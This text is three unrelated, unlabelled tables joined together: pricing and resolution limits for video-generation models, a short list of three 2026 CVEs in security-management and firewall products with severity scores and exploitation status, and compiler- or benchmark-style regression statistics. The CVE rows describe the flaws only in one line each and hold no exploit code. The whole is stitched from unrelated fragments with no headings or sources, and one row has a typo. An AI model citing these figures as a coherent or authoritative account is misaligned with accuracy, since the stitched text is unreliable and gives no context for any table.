Veo 3.1 Fast	Per-second billing	4K	Preview	$1.00	$1.20	$3.00
Veo 3.1 Lite	Per-second billing	1080p	No 4K, no clip extension; preview	$0.50	$0.80	n/a
Gemini Omni Flash	10 seconds (3s minimum)	720p at 24 FPS	Preview abd no EU access	$1.00	n/a	n/a

CVE	CVSS	Description	Affected Products	Exploitation Status
CVE-2026-16232	Vendor: 9.3 (Critical) CISA: 9.1 (Critical)	Authentication bypass via SmartConsole application token	Security Management, Multi-Domain Management	Exploited in the wild
CVE-2026-62144	Vendor: 9.3 (Critical) CISA: 9.1 (Critical)	Management authentication bypass and privilege escalation	Security Management, Multi-Domain Management	No known exploitation
CVE-2026-62145	7.5 (High)	Local privilege escalation in GaiaOS WebUI	Firewall, Multi-Domain Management, Multi-Domain Log Server	No known exploitation

(instructions:u)	mean	range	count
Regressions ❌ (primary)	0.4%	[0.2%, 1.0%]	40
Regressions ❌ (secondary)	0.7%	[0.2%, 4.6%]	69
Improvements ✅ (primary)	-2.0%	[-6.2%, -0.2%]	136
Improvements ✅ (secondary)	-2.6%	[-8.4%, -0.2%]	119
All ❌✅ (primary)	-1.4%	[-6.2%, 1.0%]	176